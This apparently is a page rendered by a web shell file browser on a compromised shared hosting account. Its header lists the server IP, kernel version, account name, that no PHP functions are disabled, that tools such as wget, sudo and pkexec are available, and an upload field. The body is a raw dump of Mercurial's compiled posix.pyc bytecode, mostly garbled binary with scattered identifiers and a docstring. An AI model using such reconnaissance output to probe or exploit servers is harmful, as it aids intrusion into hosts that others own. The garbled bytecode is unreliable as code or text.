| Server IP : 162.144.4.212 / Your IP : 216.73.216.108 Web Server : Apache System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64 User : cozeellc ( 2980) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib64/python3.9/site-packages/mercurial/__pycache__/ |
Upload File : |
a
�+�b5\ � @ s d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl Z d dl
Z
d dlZd dlZd dl
Z
ddlmZ ddlmZmZ ddlmZmZmZmZ e�d�ZejjZejjZejjZz
ejZW n ey� dd � ZY n0 ej Z ej!Z!ej"Z"ej#Z#d
Z$e�%d �Z%e�%e%� ej&�s,dmd
d�Z'neZ'dd� Z(dd� Z)dd� Z*dd� Z+dd� Z,dd� Z-dd� Z.dndd�Z/dd � Z0d!d"� Z1d#d$� Z2d%d&� Z3d'd(� Z4d)d*� Z5d+d,� Z6d-d.� Z7d/d0� Z8d1d2� Z9d3d4� Z:d5d6� Z;ej<j=Z>e;Z?ej@�r�d7d6� Z;ej<j=Z>d8d9� Z?ejAd:k�r>eBg d;�d<d=�ZCd>d6� Z;ej<jDZ>e;Z?d?d � Z0d@d"� Z1daEdAdB� ZFdCdD� ZGdEdF� ZHdGdH� ZIdIdJ� ZJdKdL� ZKe
jLe
jMhZNdMdN� ZOdOdP� ZPdodQdR�ZQdpdSdT�ZRdUdV� ZSdWdX� ZTdYdZ� ZUd[d\� ZVdqd]d^�ZWd_d`� ZXG dadb� dbeY�ZZdcdd� Z[dedf� Z\dgdh� Z]didj� Z^dkdl� Z_dS )r� )�absolute_importN� )�_)�getattr�open)�encoding�error�policy�pycompat�osutilc C s t tjd| |f ��d S )Ns! hardlinks not supported: %s to %s)�OSError�errno�EINVAL)�src�dst� r �5/usr/lib64/python3.9/site-packages/mercurial/posix.py�oslink0 s �r F�r���c C s( t | ||d�}d|v r$|�dtj� |S )N)�mode� buffering�ar )r �seek�os�SEEK_END)�namer r �fpr r r � posixfileA s r c C sR | � dd�}t|�dkr d| fS |d �d�}|r>||d fS |d d |d fS )a� Same as posixpath.split, but faster
>>> import posixpath
>>> for f in [b'/absolute/path/to/file',
... b'relative/path/to/file',
... b'file_alone',
... b'path/to/directory/',
... b'/multiple/path//separators',
... b'/file_at_root',
... b'///multiple_leading_separators_at_root',
... b'']:
... assert split(f) == posixpath.split(f), f
� /r � r )�rsplit�len�rstrip)�pZhtZnhr r r �splitP s r% c C s dS )z@return true if it is safe to hold open file handles to hardlinksTr r r r r �
openhardlinksg s r&